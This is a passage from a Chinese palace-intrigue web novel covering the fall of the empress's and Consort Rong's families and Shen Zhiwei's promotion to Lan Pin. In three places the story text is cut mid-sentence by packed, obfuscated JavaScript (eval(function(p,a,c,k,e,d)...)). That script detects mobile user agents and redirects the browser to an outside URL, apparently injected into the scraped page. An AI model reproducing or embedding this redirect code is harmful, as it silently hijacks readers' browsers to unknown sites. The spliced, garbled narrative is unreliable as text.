么东西,她那宝贝儿子伤到了吗,为何揪着不放!还有苏妙容,自己屁股都不干净,还敢查起我来了!什么陈芝麻烂谷子的事情都给翻出来,什么脏水都往本宫身上泼?!本宫兢兢业业协理六宫,苏妙容又是个废物,后宫上上下下哪件事不需要我打理,哪个关节不要打点银钱,这些钱是都花在本宫身上了吗?!现在事发了,这贪腐的帽子想扣在本宫头上,做梦!” 荣妃一屁股坐回椅子上,用手支着额头,睨了眼眼前裹在黑色斗篷里的人,声音冷若寒霜,“那两个人解决了吗?” “禀娘娘,彭庆家人在我们手里,他不敢乱说话,已经揽下全部罪责。至于曹三,在押解回京的路上,死于流寇作乱。” 荣妃眼睫颤动,稍微平复了气息,“那就好。彭庆活着也好,这件事总得有个出来顶罪的。曹三死了活该,竟然敢拿泡水的木材糊弄本宫,还闹出这么大麻烦,千刀万剐都不为过。” 斗篷人迟疑了一下,“李宏义实在是咬的紧,人也精明强干,若是再任由他深查下去,怕是对娘娘的名声不利。” 荣妃哼了一声,“不过是苏氏的走狗罢了。他们不仁,本宫也不是被吓唬大的。” 她身体稍微坐正了些,“你出宫后,给我父亲送一封急信,告诉他如今局势已是十万火急,让他在扬州万不可再瞻前顾后,那些证据该放就都放出来,务必要将苏氏的老巢掀个底朝天!” 斗篷人得令,拱手行了个礼,将身影重新拢在斗篷里,一个飞身蹬到房梁上,下一秒就消失了。 荣妃阖上眼,原本阴沉郁结的神情浮现出一丝讥讽。 苏家处处找她阮家的麻烦,以为他们自己很干净吗? 大楚朝堂谁人不知,两淮盐政经年由苏氏党羽把控,到了本朝,两淮盐业近乎成为苏氏私产。 先前皇上让彻查两淮盐税,契机就是军机大臣颜廷玉检查户部存档,发现预提纲引款项下落不明。 单是她们阮家掌握的情报,前任盐政苏炳收受“好处费”,前任盐政苏恒私吞预提款,盐运使彭粤曾将公款私存生息……苏家自己都不干净,皇后和苏家是怎么有脸去查她的贪污! 她们阮家才发迹多久,就算挣钱也只能挑那种风吹日晒给别人干活的营生,对上要让皇上满意,对下要协调工人,中间各方还都需要交际打点……钱挣得辛苦,风险还大。 哪像她们苏家,明明贪的更久,贪的更多,占着两淮那样富奢的好地方,躺在用盐堆成的金山上,不用费吹灰之力富贵百年。 如今苏家的人躺在金山上,还要将其他爬山的人踹下山去。 公平吗? 哼,她阮丽华如果出事,或者阮家出事,那干脆谁也别藏了,谁也别想好过。 看看最后到底是阮家损失大,还是苏家损失大。 窗外狂风大作,传来风吹过树叶的哗哗声。乌云飘过天际,原本还艳阳高照的晴天,竟有风雨欲来之势。 一道闪电凌空劈开,伴随着惊雷在天际炸开, “轰隆——” 28. 落刀 三省殿,军机大臣颜廷玉御前奏对。 “启奏皇上,李宏义大人上奏,彭庆已认罪,承认历年种种虚报瞒报之事,皆为其一人主导,与他人无关。” 桓宸低头把玩着手里的菩提手串,看不出神情,“荣妃把自己摘干净了?” “彭庆入狱,林场管事曹三身亡,并无线索表明荣妃参与其中,只是荣妃协理六宫,身负总管责任,失职之责总归是要担的。” “呵,她的动作倒是快。” 颜廷玉默了一下,继续说道:“李大人还查到,荣妃胞弟阮铮在整修外城墙期间,浮销工程,违规宴请,行贿主事官员……这些事情都被阮铮手下一个姓曹的管事交待的干干净净,如今阮铮已收押,如何裁决还请皇上定夺。” 桓宸将菩提手串从右手甩到左手,从桌上拿起一封奏折扔到颜廷玉眼前。 “是要定罪,但不能只定阮氏的罪。这是昨日收到的阮镇海八百里加急送来的奏折,参前任盐政苏炳收受好处费共计十三万两、前任盐政苏恒私吞预提盐引息银二十三万两,还有,两淮盐商二十余年应缴国库息银六百万两不翼而飞,人证物证俱在,要求朕严惩苏炳和苏恒。 有意思的是,这封奏折还未到朕的手里时,苏炳和苏恒的折子先到了,说他们为人所陷害,叫朕千万不要相信奸人挑拨。” “苏氏势力在朝中盘根错节,这递折子的速度,也比常人快些。” “都说自己无辜,却都做尽贪赃枉法之事,你说朕该不该处决他们?” 颜廷玉帽檐压得更低了,顾左右而言他,“要不要定罪,如何定罪,主动权皆在皇上。今日别说是阮铮、苏炳、苏恒之流,就算是整个阮氏和苏氏,若是真违反法纪,触怒天颜,皇上就算罚,他们也不可有任何怨言。” “……”桓宸有些无语,叫颜廷玉来是让他出主意的,这老狐狸却尽说些废话,两边都不想得罪。 桓宸轻叹了一口气,颜廷玉有一句话倒是没说错,苏氏势力在朝中根深蒂固,一下不可能完全清理。阮氏本是修剪苏氏羽翼的一把刀,只可惜事还没办明白,反倒让对方抓住了把柄,真是废物。 桓宸有些心烦,如今阮氏无用,清缴苏氏他还得自己来。 “传旨,阮铮一案证据确凿,流放岭南,家产查抄入官。阮镇海调离扬州,将账册等一应证据带回京,交由户部查办。苏炳、苏恒革职,判斩监候,就地处决。” “轰隆——” 天际传来一声惊雷,雨点如断了线的珍珠般砸在身上,紧接着越来越密,越来越急,从天际倾盆而下。 一阵冷风吹过,冰凉的雨水直往身上呼,吹得手是凉的,心也是凉的。 苏妙容苦等在三省殿前,“何公公,本宫已经等了两个时辰了,皇上何时见本宫?” 何忠顺面露难色。自苏炳、苏恒被判斩监候以来,皇后连着三日来御前求情,皇上不愿意见她,等在这里又有何用呢。 苏妙容似乎看出了他的心思,“通不通传是公公的事,见到皇上如何说是本宫的事,何公公只管通传就好。” 这话说的严厉,何忠顺再愚钝,也能听明白其中的威胁。此刻不敢再耽搁,转身进殿通传。 不一会,何忠顺走了出来,“皇后娘娘,皇上请您进去。” 满室静寂,只有纸张翻动的沙沙声。苏妙容跪在御前,眼中凄切哀婉,“皇上,臣妾的父亲和兄弟有罪,不求皇上原谅,只求皇上看在往日的情分,饶他们一命吧!” “朕提拔他们,委以重任,苏炳和苏恒却辜负了朕的信任,何来的情分。” “那臣妾呢。臣妾侍奉皇上多年,相伴多年,皇上可否看在多年夫妻情分上,高抬贵手。他们是臣妾的父亲和兄弟啊!” “是皇后的父亲和兄弟,朕就要法外开恩,若是皇后有罪,当如何?”桓宸飞给苏妙容一记眼刀,表情凌厉的吓人。 苏妙容吓住,脊背一阵发寒,战栗不敢言。 “下去吧。朕看在多年夫妻情分,给你留了余地,你好自为之。” “哗啦——哗啦——” 窗外的雨小了,可是风还在呼呼作响。 沈知微看了眼外面的天色,抬手关上了窗柩。 孔嬷嬷捧了一杯热茶来,“小主,您风寒才好,今日天又凉,喝杯热茶暖暖身子吧。” 沈知微接过茶,呷了一口。 自上回落水昏迷后,沈知微就得了风寒,一直养了七八日才好。可长久住在万寿宫偏殿不是回事,就去求了太后,搬到圆明园别的宫苑住。 因着上回救了景桢,太后对沈知微比对其他人更多了一份关怀。以至于皇上和众妃回紫禁城时,太后特意将元妃、景桢还有沈知微留下,让休养到寿宴结束后再走。 连赐居给沈知微的紫薇苑,都比别处清净自在,沈知微很是喜欢。 只是清净,不代表消息闭塞。 “皇后又去御前求情了吗?” “这三日每日都去呢。这么冷的天,也是为难她。” 云雁燃好香炉,好奇的走近来,疑惑道:“明明是荣妃的弟弟和皇后的父兄都被处置了,为何只有皇后求情?荣妃就不管吗?” 孔嬷嬷未答,看向沈知微。 沈知微道:“阮氏能发迹,全仰仗荣妃的恩宠,只要荣妃不倒,阮氏就有东山再起的机会。相比之下,阮铮才是那个依附家族生存的人,当然不可能为了他,让荣妃冒着失宠的风险去御前触霉头。 皇后就不一样了。皇后家族根基深厚,照以前来说,祖父担任内阁大学士,早年门生遍及朝野,父亲和兄长担任前后两任两淮盐政使,又富贵又风光。可如今呢,祖父年迈,父兄被判斩监候,家族眼看着大厦将倾,皇后当然坐不住。” 室内静默了一瞬。孔嬷嬷踌躇了片刻,将心中的话说出了口:“如此,便恭喜小主了。” 皇后曾拿权势压她,如今失势,再也构不成威胁。荣妃明哲保身,想来一时半刻也没心思害她。可不是要恭喜吗。 沈知微惊讶于孔嬷嬷反应如此之快,扬起嘴角,笑而不言。 主仆三人说了会闲话,守门的侍卫疾步走了过来,俯身行礼,“贵人,门外有一名叫小德子的宫人,来给小主送新采摘的荷花,不知贵人是否要见?” 沈知微有些疑惑,“我没让送荷花呀?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720655|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云雁灵光一闪,反问那个侍卫,“你说来人是小德子?” “是。他说他是澄心台的宫人,名叫小德子。”侍卫如实答道。 “我知道了。”云雁一拍手,对沈知微说道:“小主,您可还记得那日在湖中帮助您的小太监?事后您让我送了五两银子给他。那个小太监就叫小德子。” 沈知微有了些印象,“这样啊,那让他进来吧。” 不一会儿,小德子走了进来,带着夏日雨后荷花的清香。 “奴才小德子,参加兰贵人,兰贵人万福金安。” “起来吧。” “贵人,圆明园荷花开得正盛,往年总有宫里的主子递话来,要折几枝自己养。奴才想着小主正好修养在圆明园,特地送来几枝给小主观赏。” “外面还下着雨,难为你跑一趟。” 小德子憨厚地笑了笑,“小主哪的话。能为小主办事,是奴才的福气,旁人羡慕还羡慕不来呢。实不相瞒,奴才此次前来,还是为感谢小主上次的赏银,小主有所不知,奴才家里还有个兄长,先前得了肺病,因为没钱医治一直耽搁着,因得了小主给的赏银才有机会去救治,大夫说若是再晚些,怕是要没命了。小主救命之恩,奴才没齿难忘,特来叩谢小主。” 说完,小德子郑重地磕了三个响头,再抬起身时,竟有细微的抽泣声。 沈知微愣了一瞬,面上竟浮现出许久未见的柔和,“你帮了本宫,本宫阴差阳错救了你哥哥,看来冥冥之中自有天意,上苍是不会让好人受委屈的。” “小主说的是。”小德子用衣袖擦去脸上的眼泪,“奴才虽然看着年轻,但自入宫以来就在圆明园做事,算是半个‘老人’了。小主以后若是有用的着奴才的地方尽管开口,奴才万死不辞。” 沈知微眼睫颤动,思索片刻后说道:“我还真有事要问你。太后娘娘的寿宴在即,本宫在想送个什么样的寿礼合适,你即在圆明园多年,可知太后娘娘喜欢什么,或者有什么忌讳?” 小德子话里听音,发觉自己对兰贵人有些用,表现得更加卖力起来,“那小主您可问对人了!太后娘娘过往三年的寿宴奴才可都在场呢。像是去年,皇后娘娘送的《松鹤延年图》,即显文雅,又含有“修身养性、福寿绵长”之意,太后娘娘就很是喜欢;荣妃娘娘送的八仙祝寿翡翠摆件,太后娘娘也没挑出错来。 至于犯忌讳的,有一回有官员进献了一副绘有‘枯藤老树昏鸦’的水墨画,被太后娘娘当场斥为不祥,听说后来还被降了职。” “听起来,太后娘娘喜欢合礼、文雅、寓意好的?” “小主果然聪慧。”小德子继续说道:“太后娘娘素爱文雅、不俗之物,除了珊瑚玉石、名家画作以外,自然风光太后也喜欢。比方说这荷花,每年夏天都会摘一些送去太后宫中。话说起来,澄心台正对着的,正是荷花池呢。夏日若是将三面门窗推开,满湖的荷花皆收入视野当中,别提有多美了。” 沈知微吸了一口气,有个主意逐渐在脑海中勾勒出来。 “你继续说说,太后还喜欢什么?比如吃的喝的用的之类的。” “那可就说来话长了……” 29. 兰嫔 六月初八,在经历澄心台围栏倒塌、主办人员皇后、荣妃家族接连出事后,太后娘娘的寿宴终于如期举行。 作为主办人员中唯一一个未被前朝事件牵扯的,寿宴的大小事宜自然而然地落在了沈知微头上。 用上等木材重新修缮的澄心台,此刻三面门窗大开,朵朵粉白荷花在湖面盛放,尽显夏日风情。沈知微特地命人搬来几盏冰放在窗下,轻风吹过时,带来阵阵凉风。 龙凤寿幛、万寿无疆纹样的帷幔垂幕而下,寿桃、松柏、仙鹤等吉祥摆件精心摆放在殿内指定位置。 南府最好的乐师在殿中演奏,轻拢慢挑,雅韵流觞。戏曲、杂耍、歌舞表演接连上演,太后看得笑容满面,一时宾主尽欢。 皇后苏妙容趁势端起一杯酒,笑盈盈地举杯敬太后,“母后圣寿无疆,今以此酒为贺,恭祝母后凤体康健,福寿延绵。” 太后目不斜视,嘴角的笑容淡了些许,“皇后有心了。” 苏妙容嘴角僵住,哪里还不明白太后这是要与她划清界限了,尴尬地坐了回去。 荣妃自知太后原本就不喜她,如今看到连皇后都糟了冷落,干脆不出声,反正寿礼早已送到。 殿中气氛一时有些尴尬,元妃端起一杯酒,款款站起身,“这段时日璟桢在圆明园住着,没少叨扰太后,臣妾谨奉薄酒一盏,祝愿太后福如东海长流水,寿比南山不老松。” 太后这话听得高兴,眉眼弯弯端起酒杯,“璟桢是哀家唯一的孙子,哀家喜爱他还来不及,怎能说是叨扰呢。你的心意哀家知道,坐吧。” 沈知微看准形势站了起来,笑道:“臣妾不及元妃娘娘有文采,但想要孝顺太后的心是相同的。今逢太后千秋令辰,臣妾效仿麻姑献寿,敬此美酒。愿太后日日安康,岁岁吉祥;亦愿我大楚朝四时和顺,国祚昌隆。” 太后笑道:“还说你不会说话,我看这六宫之中你最会说话。借你吉言,愿我大楚朝基业永固,万邦咸宁。” 说罢,太后端起酒杯,一饮而尽,看向同样饮尽杯中酒的沈知微,劝解道:“你风寒初愈,酒还是少喝些,心意到了即可。待来日回了宫,还是请个太医好好调理一番,免得落下什么病根。” 太后都这么说了,沈知微哪有不应的道理,乖巧地应了“是”,坐回自己的位置上。 桓宸一时来了兴趣,指着沈知微打趣道:“她啊,一向是个闲不住的。先前受伤朕千叮咛万嘱咐让她好好修养,结果呢,才不过一个月,就迫不及待地往果园中跑,摘了好多果子拿回宫做果酒,真不怕累着自个儿。” 沈知微有些不好意思,“皇上这话说的,倒像是臣妾贪玩似的。臣妾当初可是得到了皇上的首肯,这才去果园摘果子的,皇上一言九鼎,可要说话算话。” 一番话说得含羞带怯,再配上沈知微泛红的脸颊,让桓宸不自觉想起那些时日他们相处的时光。如今再看沈知微,竟发现那秀丽淡雅的容颜似乎比往日更多了几分沉着和从容,平添了几分成熟韵味。只是身影依旧单薄,逆光而立勾勒出小小的身影,仿佛下一秒就要跌入时光的空隙凭空消失一样。 桓宸心中悸动,不知怎的一心想要留下这道身影,话未经大脑就不自觉从口中说了出来,“朕答应你的,自然算话。” 沈知微回以微笑,“臣妾相信皇上。” 殿中一时有些暧昧,任谁都看出了其中悸动的情愫。有人看红了脸,有人暗中学艺,而有人明显就不高兴了。 贞嫔率先发难,装作不经意地提及,“诶,兰贵人,今日可是太后娘娘的寿宴,怎么不见你亲自制酒了?太后娘娘有所不知,这兰贵人做的酒啊可是宫中一绝,当初可是卖出过二百两银子一坛的天价呢。” 太后皱眉,向贞嫔求证,“卖酒?” “哎,这怎么说呢……”贞嫔用手帕掩住唇,意味深长地笑了笑。 纯嫔会意,立马接上了话,“当初兰贵人还是常在的时候,曾采摘果园里的水果制成果酒卖钱,最高的时候可是炒到了二百两银子一坛呢。” 太后眉头皱的更深了,“宫中没有好酒吗,何须后妃亲自制酒卖钱,这传出去像什么话,平白折损天家颜面。” 这最后一句话说的很不客气,四周一下子就安静了,唯有乐曲声还在殿中唱响。桓宸站出来打圆场,“母后有所不知,兰贵人确实精于此道,当初不过是做了几坛来尝鲜,谁知大家都想要来尝尝,可给谁不给谁呢……这一来二去就干脆竞价了。说白了就是女人们无聊时的游戏,母后如果不喜,以后就不让她们这么做了。” “胡闹。”太后语气缓和了些,但神色依旧不悦。 桓宸讪讪地摸了摸鼻子,其他人你看看我我看看你,不敢发出半点声响,生怕得罪太后。只有纯嫔还沉浸在能坑到沈知微的喜悦中,娇俏的声音在殿中炸响: “既然兰贵人手艺出众,怎么不给太后娘娘露一手呢?莫不是只有付了银子才肯做吧?” 话一出口,所剩无几地祥和喜乐的氛围顷刻间荡然无存,所有人的目光都在沈知微和纯嫔中逡巡,火热的注视压得人快要喘不过气来。 桓宸瞪了纯嫔一眼,不耐地将手中的手串往桌上一掷;太后也垂下嘴角,不看任何人。 沈知微神色一敛,当机立断站起身,拿起自己桌案上的酒杯,“臣妾虽喜爱制酒,但到底是在宫中打发时间的玩乐,难与宫中经年累月钻研此道的匠人相较。因此,在为太后娘娘准备千秋宴时,臣妾特地选择了此款玉泉酒作为宴饮用酒,正所谓酒香醇厚而不烈,饮玉泉而延年。臣妾愿意将最好的一切呈给太后娘娘。” 说完,沈知微垂下头,任凭太后发落。 太后默了片刻,良久叹了口气,“你的心意哀家知晓了,但下不为例。后妃有后妃的职责,侍奉皇上、繁衍子嗣才是第一要务,把心思用在正道上,明白吗?” “臣妾谨遵太后教诲。” 太后消了气,便不提这茬了。沈知微也调整好心态,专心应对宴会上出现的各种情况。 “皇上桌上的水果快没有了,补送一个鲜切的果盘。” “敦亲王福晋有孕,将她座位旁边的窗户掩一点,孕妇不宜饮酒,给她换一杯鲜橙饮。” “将炙羊肉和鲜炒笋片换一下上菜顺序,刚上过酥炸排骨,再吃炙羊肉难免腻得慌。再给每桌新上一盏菊花茶,清热解暑。” …… 大大小小的事情盯着,一眨眼宴会过了大半,眼看大家都有些倦怠,沈知微适时站起身,恭敬地说道:“太后千秋令辰,臣妾有一个节目想要献给太后,请太后一观。” 桓宸来了兴趣,在一旁鼓动太后,“她花样多,太后不妨看看。” “哦?”太后也觉得新鲜,“那就开始吧。” 沈知微退到舞台一侧,击掌三下,太监们闻声而来,将莲花、莲叶、瑶池等形状的道具摆在舞台上。 闲杂人等退下,《采莲曲》乐曲响起,舞者身着粉白服饰,手持荷花灯或莲蓬从两侧登场,以“云手”和“圆场步”起势,踏着鼓点模拟泛舟采莲。最后摆出“跪拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈知微……何时一个小小的县令之女,竟能踩到她头上了。 她半掩着面,在喧嚣的歌舞中费力咳了几声。难道……她苏家真的大势已去了吗。 * 宴会结束后,沈知微回到紫薇苑,还没坐多久,何忠顺带着圣旨浩浩荡荡地走过来,满面笑容像是等着讨赏的孩子,“奴才给贵人请安,贵人主子金安。” “咦,何公公怎么有空过来?免礼请起。”沈知微有些惊讶,心中隐隐察觉到什么,琥珀般的眼眸满怀期待地看着他。 何忠顺笑容满溢,举起手中的圣旨,“陛下有旨,请兰贵人接旨。” “奉天承运,皇帝召曰:朕惟赞宫庭而敷化,淑德丕昭;班位号以分荣,恩光式焕。咨尔兰贵人,夙禀温恭,性存慈悯。侍璇闺而奉职,早着勤劳;佐彤管以流徽,聿彰淑慎。兹仰承皇太后慈谕,册封尔为兰嫔。钦此。” 沈知微心中的石头落地,俯身行叩拜礼,“臣妾接旨。” “兰嫔娘娘大喜!”何忠顺先是恭贺,而后解释道:“娘娘,皇上的意思是,如今身在圆明园多有不便,让奴才先拿着圣旨来知会娘娘一声,好让娘娘提前高兴高兴。至于册封礼,将交由礼部主持,回宫细细来办。” “皇上有心了,臣妾谢过皇上。”沈知微眉眼含笑,“如今天气越发热了,劳烦公公跑一趟。云雁,还不快带何公公下去吃茶。” “是。”云雁同样喜上眉梢,“何公公,诸位公公,劳烦跟我来吧。” 30. 主位 册封礼包含“宣旨-授册-朝见-祭祀-延宴”一系列环节,沈知微寅时起梳妆,一整日不得歇,直到子时才得以回到闲月宫中休息。 因着晋封为嫔位,沈知微的住所也不再是昔日半月轩那样的偏殿,而是搬进了闲月宫主殿,成了一宫主位。 主殿面阔五间,带前廊后厦,还设立有独立的暖阁、佛堂和书房。屋顶用青色琉璃瓦覆盖,屋檐有斗拱、飞檐等装饰,连门窗上都绘制了祥云纹样。室内以青砖铺就地面,用雕花屏风隔断出不同的空间,床榻是黄花梨的,桌椅是紫檀木的,连平时喝水用的瓷壶瓷杯都换成了汝窑瓷的。 伺候她的宫人也增加了。嫔位可配置六名宫女、六名太监,有专门的掌事宫女和管事太监打理宫务。沈知微这边,掌事宫女自然是孔嬷嬷,至于管事太监,沈知微回宫时,特地将小德子要了过来,如今担任闲月宫的管事太监。 沈知微坐在正中的靠背椅上,身上的吉服还未去,孔嬷嬷和小德子对视了一眼,带着宫中所有的宫女太监齐刷刷地跪在沈知微面前,喜悦之情溢于言表。 “奴才等恭喜兰嫔娘娘,贺喜兰嫔娘娘。” 小德子抬起头,恭维话信手拈来,“今逢兰嫔娘娘大喜,奴才等祝兰嫔娘娘圣眷日隆,福寿绵长。”小德子一哂,露出憨厚的笑容,“如今有天大的喜事,奴才斗胆替大家向主子讨个赏,也好让大家伙儿沾沾主子的喜气。” 沈知微也笑了起来,“你倒是会说话。如今本宫升了嫔位,自然不会忘记大家。赏赐一早准备好了,云雁。” 云雁应了声“是”,神秘兮兮地从里间端了个托盘回来。 沈知微将覆在上面的红绸掀开,看着托盘上的鲜红锦囊,大手一挥,“云雁,将赏赐拿给大家吧。” 众人收到锦囊后,掂量着重量,就知道礼物不轻,连声叩谢沈知微。小德子适时将锦囊上的扎口打开,伸手一探,赫然掏出一个金灿灿的、两指宽的金条! 小德子手不住地一抖,瞪大眼睛看向沈知微,“小主心慈,体恤我们做奴才的,可这份赏赐太贵重了,奴才……奴才担不起啊。” 沈知微看他这副模样,笑道:“怕什么,既然本宫赏赐给你们,就安心收着。你们之中有的是伺候本宫多年的老人,有的是新拨来伺候的。无论新人还是老人,只消记住一点,只要是全心为本宫做事的,本宫绝不会亏待半分。往后本宫好,你们就好;若万一哪日本宫落魄了,你们也不会再有更好的去处。往后心向哪里,劲往何处使,都要想清楚,明白了吗?” 宫人们闻言,又是一阵叩谢,只是比先前更心悦诚服。 这也正是沈知微想要的效果,对于她来说,只有好处实实在在的分下去,底下人才能全心全意为她做事,整个团队才能同心协力所向披靡。至于那种把别人当耗材、用尽即弃的事,她做不到,也看不上。 “夜深了,本宫也乏了,大家都散了吧。”沈知微揉了揉额角,不无疲惫地说。 小德子他们都是极有眼力见的,“兰嫔娘娘安寝,奴才告退。” * 次日卯时。 沈知微坐在妆镜前,身着翠玉镂金藤萝衣,头戴金步摇,淡扫蛾眉薄粉敷面,整个人如同明珠一般璀璨耀眼。 昨日三省殿递了话来,说皇上今日早朝后要来用早膳。于是沈知微一早起了床,盯着小厨房准备。豆浆是现磨的,燕窝粥一大早就让小厨房炖上了;清蒸人参鸡、鲍鱼烩芦笋更是从后半夜就开始准备;芸豆卷、千层酥、糖油饼是从御膳房取来的;清炒豌豆苗、翡翠豆腐这些素菜讲究时令,调味清淡;碧螺春也是一早泡好…… 沈知微围着餐桌转,“这道清蒸人参鸡皇上爱吃,拿过来放近一些。” “豆浆有些凉了,重新盛两碗新的来。” “让小厨房将酱牛肉、腌雪里红盛两碟端来,皇上吃了开胃。” 这是沈知微晋封嫔位后皇上首次来闲月宫,宫人们同样紧张,打起了十二分精神,步履匆匆按照沈知微的吩咐做事。 半柱香后,天子仪驾停在闲月宫前,沈知微出门迎接,“嫔妾参加皇上。” “起来吧。外面大太阳晒着,何必出来一趟。”桓宸自然地牵住沈知微的手,二人一前一后往殿内走去。 桓宸进屋后,打量着主殿的陈设,点头称赞道:“这主殿翻修的不错,典雅而不失温馨,适合你。” 走至里间,桓宸抬手指道:“这两束香雪兰是内务府送来的?” “是臣妾命人从花房取来的。皇上还记得香雪兰?” 桓宸轻巧地笑了起来,“怎么会不记得。朕在御花园第一次见到你的时候,你手里捧着香雪兰,满身都是它的香味,想忘都忘不掉。” 沈知微也笑了起来,“那时候臣妾还只是答应,说来也怪,臣妾做答应的日子仿佛就在昨天似的,又好像已经过去很久了。仔细算来,臣妾也陪伴皇上许久了呢。” 桓宸拍着沈知微的手,“如今得封嫔位,也算是苦尽甘来了。” 沈知微晶莹的眼眸蒙上一层朦胧,想起曾经在闲月宫吃过的苦、受过的伤,想起这段时日的步步为营、筹谋算计,真心觉得这一路走来着实不易。 可面对着桓宸,心里的话说出口时就变了说法,“臣妾能有今日,全凭皇上垂怜。皇上屡屡救臣妾于危难,又让臣妾住这么好的宫殿,臣妾……感激不尽。” 桓宸用手蹭了蹭沈知微的脸颊,肉眼可见地更开心了。 * 荣妃半躺在贵妃榻上,阖目养神,让侍女执扇为她扇来阵阵凉风,手随意搭在胯上,便将整个身体曲线都突显出来。 然而紫薇殿内许久无外客踏足,原本金玉满堂的装潢此时仿佛都蒙了尘,让身处其中的荣妃都黯然失色了。 康嫔站在一旁,花盆底膈的她脚板生疼,可半个时辰过去,荣妃完全没有答理她的意思,也没有说叫她走。 她几次想叫醒荣妃,问问为何叫她过来却又晾在一边。谁没有脾气啊,难不成就她荣妃架子大性格硬,旁人就得捧着她哄着她任她磋磨? 她好歹是个嫔位,荣妃是妃位比她高一级而已,先前敬着她是因为她手握大权又有皇上宠爱,如今都落魄了,摆脸色给谁看呢!只会拿她们这些好说话的撒气,有本事去找抢她风头的人报仇去啊。 想来也怪她眼拙,当初看荣妃风光,上赶着巴结荣妃,荣妃当时也确实帮过她,让她有机会从常在做到嫔位,可如今……没想到荣妃这么不顶用,没红两年就落个失宠的下场。 康嫔憋着一口气,话到嘴边却没敢开口,生怕荣妃把失宠的怨气发泄到她身上。说起来,荣妃发起脾气可是极吓人的,心肠硬手段又狠,决不允许别人忤逆她。荣妃鼎盛的时候,康嫔曾亲眼见过一个常在因为跟荣妃顶罪,第二天就被人下了毒连话都说不出来,最后被发落到冷宫自生自灭。 再说康嫔自己,虽然明面上是荣妃这一边的,□□妃说话直脾气差,行为做事吹毛求疵,想法还经常变化,往往刚按照她的要求做好,下一秒就换了想法让你重来;最后如果哪里出了问题,一定是你没有正确领悟到她的意思,等着接受荣妃的阴阳怪气和批评责骂吧。所以这两年受了多少苦,只有康嫔自己清楚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769012|168279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康嫔压根不敢再回想那些前尘往事,只是单纯在心里抱怨荣妃,或许是因为长久站立,康嫔眼前突然一黑,险些跌倒在地上,还好身边的侍女是个眼明手快的,稳稳地扶住了她,这才不至于在荣妃宫中出丑。 可这样一来,弄出了不大不小的动静。荣妃缓缓睁开眼,冷冷地凝视着康嫔。 康嫔腿一软,再加上刚才在心里骂荣妃多少有些心虚,赔着笑脸说道:“娘娘恕罪!臣妾……臣妾在这等了半个时辰,一时有些站不住,不曾想打扰了娘娘午憩……” 荣妃不情不愿地坐起身,抬手轻揉着太阳穴,脸上浮现出几丝被惊搅好梦的不快。 “本宫近来晚上难以安枕,只能趁午后稍微休息片刻。”荣妃打起精神,睨了康嫔一眼,“罢了……来了就坐啊,苦哈哈地站这做什么,倒像是本宫虐待你似的。” 康嫔讪讪地笑着,“娘娘说笑了,娘娘待臣妾一向是极好的。” 荣妃接过侍女递来的醒神茶,喝之前又看了康嫔一眼,嘴角勾起一抹笑意。 “你知道就好。若说这满宫里的人,本宫最疼的就是你。” 荣妃放下茶盏,用手帕擦拭嘴角,“本宫记得,当年你进宫时不过是一个常在,也就比从前的沈知微好那么一点吧。那时你宫里的殷嫔神神叨叨的,信一套乱七八糟的东西,动辄要你跪佛堂抄天书,还要取你的血去炼什么丹药。最后你受不了跑到本宫面前,求本宫为你做主。你还记得本宫为你做了什么吗?” 康嫔垂下头,声音细如蚊蝇,“您救下了我,让我先回宫去。在殷嫔再次要取我的血的时候,带皇上冲进了佛堂。” “是啊,那时你满身都是伤痕,被鞭子打伤的,被取血的粗针刺伤的……小脸惨白,头发散落在肩上,啧,谁看了都于心不忍啊。” 康嫔咽了口口水,不太愿意回忆起这些,却又无法打断荣妃。 荣妃继续说道:“从那以后本宫一直在为你保驾护航,捧着你从常在到贵人,在从贵人到康嫔,一路的凶险本宫都替你挡了,连你父亲在官场上高升,你兄长成婚在京中置办宅院,本宫都有出力,真算起来,本宫待你不薄吧?” “娘娘待臣妾恩重如山。” “你知道就好。”荣妃叹了口气,“只可惜今时不同往日,否则本宫是愿意一直护着你的。但如今的情形你也清楚,皇上对本宫尚有疑虑,还不愿意原谅本宫,这全怪沈知微那个贱人迷惑了皇上的眼,还有元妃在皇上面前陷害本宫,你说本宫怎能咽下这口气!你是本宫最信任的人,只有你能帮本宫。” “可是,”康嫔抬起头,眼眸中满是不安,“如今皇上还在气头上,此时若对兰嫔和元妃出手,必惹皇上不快,娘娘何苦这个时候去触霉头呢。娘娘和皇上还有往日的情分在,来日复宠是迟早的事,娘娘何不再多等一阵呢?” “我等不了了!什么情分,这后宫中哪有情分!皇上身边向来是只见新人笑不见旧人哭的,有沈知微这样的新宠,皇上如何记得起我们。”荣妃面上闪过一丝暴戾,说着说着,眼眸中又悲恸起来。 但她很快又收拾好了表情,恢复成那副无坚不摧的模样,“你以为我们不动手,她沈知微就会放过我们吗?康嫔,别忘了你是我这一边的,本宫将来是什么下场,你就会是什么下场,与其杞人忧天,不如想想如何将本宫交代的事办好。” “可是……” 